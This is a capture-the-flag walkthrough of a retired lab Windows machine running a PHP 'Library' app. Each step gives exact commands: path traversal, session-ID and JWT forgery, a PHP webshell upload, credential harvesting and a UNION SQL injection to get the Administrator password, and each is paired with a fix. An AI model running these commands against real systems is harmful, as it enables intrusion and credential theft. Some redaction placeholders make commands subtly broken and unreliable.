Breadcrumbs
Summary
My found a PHP 'Library' web application on port 80 whose book-lookup feature passed a caller-supplied filename directly to the filesystem without sanitization, enabling arbitrary file reads including the application's own PHP source. Source review exposed two compounding weaknesses: a deterministic session-ID formula (hardcoded salt plus a single character of the username) and a hardcoded HS256 JWT signing secret embedded in a controller file. These together let me compute all valid PHP sessions for user 'paul' in seconds and forge a matching signed JWT, bypassing the upload portal's authentication.
The upload endpoint imposed no extension or content-type filtering, so a one-line PHP webshell landed in the public uploads directory and delivered unauthenticated remote code execution as the web service account. Via the webshell, a credential file stored inside the web root revealed juliette's SSH password, providing an interactive shell and the user flag. From juliette's session, I pulled a Sticky Notes SQLite database that stored the 'development' account's password in plaintext as a note.
The development account held a Linux ELF utility that communicated with a localhost-only password-manager API whose SQL query concatenated a caller-supplied table name without sanitization, making it UNION-injectable. The resulting base64 ciphertext, decrypted with the AES key the same utility prints when queried legitimately, recovered the Administrator password, yielding full system control via SSH.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD10="<a-password-you-choose>"
export PASSWORD11="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"
export PASSWORD6="<a-password-you-choose>"
export PASSWORD7="<a-password-you-choose>"
export PASSWORD8="<a-password-you-choose>"
export PASSWORD9="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p 22,80,135,139,443,445,3306 $TARGETgobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 40Exact commands 3
curl -ksS -X POST "http://$TARGET/includes/bookController.php" --data-urlencode 'book=..\..\..\..\..\..\Windows\win.ini' -d 'method=1'curl -ksS -X POST "http://$TARGET/includes/bookController.php" --data-urlencode 'book=../portal/php/cookie.php' -d 'method=1'curl -ksS -X POST "http://$TARGET/includes/bookController.php" --data-urlencode 'book=../portal/includes/fileController.php' -d 'method=1'FixSanitize file-path inputs in the book-lookup feature to prevent directory traversalCritical
Exact commands 2
python3 -c "import hashlib; u='paul'; [print(u+hashlib.md5(('$PASSWORD9'+c+'$PASSWORD11').encode()).hexdigest()) for c in u]"for sid in $PASSWORD2 $PASSWORD5 $PASSWORD3 $PASSWORD4; do echo -n "$sid: "; curl -ksS -o /dev/null -w '%{http_code}' -H "Cookie: PHPSESSID=$sid" "http://$TARGET/portal/php/files.php"; echo; doneFixReplace the deterministic session-ID algorithm with a cryptographically random tokenCritical
Exact commands 1
python3 -c "import jwt; secret='$PASSWORD'; print(jwt.encode({'data':{'username':'paul'}}, secret, algorithm='HS256'))"FixRemove hardcoded JWT secrets from source code and store them in environment variablesHigh
Exact commands 3
echo '<?=`$_GET[0]`?>' > /tmp/shell.phpcurl -ksS -X POST "http://$TARGET/includes/fileController.php" -H "Cookie: PHPSESSID=$PASSWORD2; token=<JWT_FROM_STEP4>" -F 'task=shell.php' -F 'file=@/tmp/shell.php;type=text/plain'curl -ksS --get --data-urlencode '0=whoami' "http://$TARGET/portal/uploads/shell.php"FixEnforce strict file-type validation and disable PHP execution in the upload directoryCritical
Exact commands 2
curl -ksS --get --data-urlencode '0=type C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData\juliette.json' "http://$TARGET/portal/uploads/shell.php"sshpass -p '$PASSWORD8' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null juliette@$TARGET 'type C:\Users\juliette\Desktop\user.txt'FixRemove plaintext credentials from web-accessible directoriesHigh
Exact commands 4
sshpass -p '$PASSWORD8' ssh -o StrictHostKeyChecking=no juliette@$TARGET "powershell -Command \"[Convert]::ToBase64String([IO.File]::ReadAllBytes(\\\"$env:LOCALAPPDATA\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState\\plum.sqlite\\\"))\"" | base64 -d > /tmp/plum.sqlitesshpass -p '$PASSWORD8' ssh -o StrictHostKeyChecking=no juliette@$TARGET "powershell -Command \"[Convert]::ToBase64String([IO.File]::ReadAllBytes(\\\"$env:LOCALAPPDATA\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState\\plum.sqlite-wal\\\"))\"" | base64 -d > /tmp/plum.sqlite-walsqlite3 /tmp/plum.sqlite "SELECT Text FROM Note"sshpass -p '$PASSWORD10' ssh -o StrictHostKeyChecking=no development@$TARGET 'whoami'FixProhibit credential storage in Sticky Notes and other plaintext application data storesMedium
Exact commands 7
sshpass -p '$PASSWORD10' scp -o StrictHostKeyChecking=no development@$TARGET:'C:/Development/Krypter_Linux' /tmp/Krypter_Linuxstrings /tmp/Krypter_Linux | grep -E 'http|POST|passmanager|method|table'sshpass -p '$PASSWORD10' ssh -o StrictHostKeyChecking=no -N -L 1234:127.0.0.1:1234 development@$TARGET &echo '127.0.0.1 passmanager.htb' | sudo tee -a /etc/hosts && chmod +x /tmp/Krypter_Linux && /tmp/Krypter_Linuxcurl -s -H 'Host: passmanager.htb' -d "method=select&username=&table=passwords UNION select password from passwords-- -" http://127.0.0.1:1234/index.phppython3 -c "from Crypto.Cipher import AES; import base64; key=b'$PASSWORD7'; ct=base64.b64decode('<CIPHERTEXT_FROM_ABOVE>'); c=AES.new(key,AES.MODE_CBC,iv=ct[:16]); print(c.decrypt(ct[16:]).rstrip(b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f').decode())"sshpass -p '$PASSWORD6' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null Administrator@$TARGET 'whoami & type C:\Users\Administrator\Desktop\root.txt'FixParameterize all SQL queries in the internal password-manager API and add authenticationCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh OpenSSH for_Windows_7.7 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 443/tcp | ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1) |
| 445/tcp | microsoft-ds? |
| 3306/tcp | mysql MariaDB 10.3.24 or later (unauthorized) |
| 5040/tcp | unknown recon-sweep-discovered |
| 7680/tcp | pando-pub? |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 49669/tcp | unknown recon-sweep-discovered |